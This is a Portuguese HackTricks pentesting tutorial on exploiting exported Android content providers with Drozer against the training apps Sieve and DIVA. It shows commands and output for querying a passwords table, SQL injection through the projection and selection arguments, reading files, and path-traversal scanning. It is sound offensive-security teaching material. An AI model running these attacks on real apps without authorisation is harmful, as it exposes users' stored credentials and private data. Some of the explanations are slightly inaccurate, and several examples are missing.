hacktricks/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md
2023-06-06 18:56:34 +00:00

12 KiB

Explorando Provedores de Conteúdo

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Introdução

Um componente provedor de conteúdo fornece dados de um aplicativo para outros sob demanda. Tais solicitações são tratadas pelos métodos da classe ContentResolver. Um provedor de conteúdo pode usar diferentes maneiras de armazenar seus dados e os dados podem ser armazenados em um banco de dados, em arquivos ou até mesmo em uma rede.

Ele deve ser declarado dentro do arquivo Manifest.xml. Exemplo:

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
    <path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

Neste caso, é necessário a permissão READ_KEYS para acessar content://com.mwr.example.sieve.DBContentProvider/Keys
(Também, observe que na próxima seção vamos acessar /Keys/ que não está protegido, isso porque o desenvolvedor se confundiu e protegeu /Keys mas declarou /Keys/)

Talvez seja possível acessar dados privados ou explorar alguma vulnerabilidade (SQL Injection ou Path Traversal).

Obter informações de provedores de conteúdo expostos

dz> run app.provider.info -a com.mwr.example.sieve 
  Package: com.mwr.example.sieve
  Authority: com.mwr.example.sieve.DBContentProvider
  Read Permission: null
  Write Permission: null
  Content Provider: com.mwr.example.sieve.DBContentProvider
  Multiprocess Allowed: True
  Grant Uri Permissions: False
  Path Permissions:
  Path: /Keys
  Type: PATTERN_LITERAL
  Read Permission: com.mwr.example.sieve.READ_KEYS
  Write Permission: com.mwr.example.sieve.WRITE_KEYS
  Authority: com.mwr.example.sieve.FileBackupProvider
  Read Permission: null
  Write Permission: null
  Content Provider: com.mwr.example.sieve.FileBackupProvider
  Multiprocess Allowed: True
  Grant Uri Permissions: False

Podemos reconstruir parte dos URIs do conteúdo para acessar o DBContentProvider, porque sabemos que eles devem começar com "content://" e as informações obtidas pelo Drozer dentro do Path: /Keys.

Drozer pode adivinhar e tentar vários URIs:

dz> run scanner.provider.finduris -a com.mwr.example.sieve 
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
... 
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys 
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

Você também deve verificar o código do ContentProvider para procurar consultas:

Além disso, se você não conseguir encontrar consultas completas, poderá verificar quais nomes são declarados pelo ContentProvider no método onCreate:

A consulta será como: content://nome.do.pacote.classe/nome_declarado

Content Providers com banco de dados

Provavelmente, a maioria dos Content Providers é usada como interface para um banco de dados. Portanto, se você puder acessá-lo, poderá extrair, atualizar, inserir e excluir informações.
Verifique se você pode acessar informações confidenciais ou tente alterá-las para burlar mecanismos de autorização.

Ao verificar o código do Content Provider, procure também por funções com nomes como: query, insert, update e delete:

Porque você será capaz de chamá-los.

Consulta de conteúdo

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

Inserir conteúdo

Consultando o banco de dados, você aprenderá o nome das colunas, então, você poderá inserir dados no banco de dados:

Observação: na inserção e atualização, você pode usar --string para indicar string, --double para indicar um double, --float, --integer, --long, --short, --boolean

Atualizar conteúdo

Conhecendo o nome das colunas, você também pode modificar as entradas:

Excluir conteúdo

Injeção de SQL

É simples testar a injeção de SQL (SQLite) manipulando os campos de projeção e seleção que são passados para o provedor de conteúdo.
Ao consultar o Provedor de Conteúdo, existem 2 argumentos interessantes para procurar informações: --selection e --projection:

Você pode tentar abusar desses parâmetros para testar injeções de SQL:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" 
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* 
FROM SQLITE_MASTER WHERE type='table';--" 
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... | 
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Descoberta automática de SQLInjection pelo Drozer

O Drozer é capaz de realizar uma descoberta automática de vulnerabilidades de injeção de SQL em provedores de conteúdo. Para isso, é necessário executar o módulo scanner.provider.sql e especificar o provedor de conteúdo a ser verificado.

O comando para executar o módulo é o seguinte:

run scanner.provider.sql -a <authority>

Onde <authority> é o nome do provedor de conteúdo a ser verificado. O Drozer irá enviar uma série de solicitações HTTP para o provedor de conteúdo, tentando injetar código SQL em diferentes parâmetros. Se uma vulnerabilidade for encontrada, o Drozer irá exibir uma mensagem informando o tipo de vulnerabilidade encontrada e o parâmetro afetado.

É importante lembrar que a descoberta automática de vulnerabilidades de injeção de SQL pode causar problemas de desempenho no provedor de conteúdo, especialmente se o provedor estiver sendo executado em um ambiente de produção. Portanto, é recomendável que essa técnica seja usada apenas em ambientes de teste.

dz> run scanner.provider.injection -a com.mwr.example.sieve 
Scanning com.mwr.example.sieve... 
Injection in Projection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/
  
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
  android_metadata
  notes
  sqlite_sequence

Provedores de conteúdo com suporte ao sistema de arquivos

Os provedores de conteúdo também podem ser usados para acessar arquivos:

Ler arquivo

Você pode ler arquivos do provedor de conteúdo.

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 
127.0.0.1            localhost

Travessia de Caminho

Se você pode acessar arquivos, pode tentar abusar de uma Travessia de Caminho (neste caso, isso não é necessário, mas você pode tentar usar "../" e truques similares).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 
127.0.0.1            localhost

Descoberta Automática de Traversal de Caminho pelo Drozer

O Drozer é capaz de descobrir automaticamente vulnerabilidades de Traversal de Caminho em Content Providers. Para isso, é necessário executar o comando run app.provider.traversal e o Drozer irá tentar acessar todos os arquivos do sistema de arquivos do aplicativo. Se o acesso for bem-sucedido, o Drozer irá exibir o caminho completo do arquivo acessado.

É importante lembrar que essa técnica pode ser considerada invasiva e pode causar problemas no aplicativo. Portanto, é recomendável que seja realizada apenas em ambientes de teste e com a permissão do proprietário do aplicativo.

dz> run scanner.provider.traversal -a com.mwr.example.sieve 
Scanning com.mwr.example.sieve... 
Vulnerable Providers:
  content://com.mwr.example.sieve.FileBackupProvider/
  content://com.mwr.example.sieve.FileBackupProvider

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥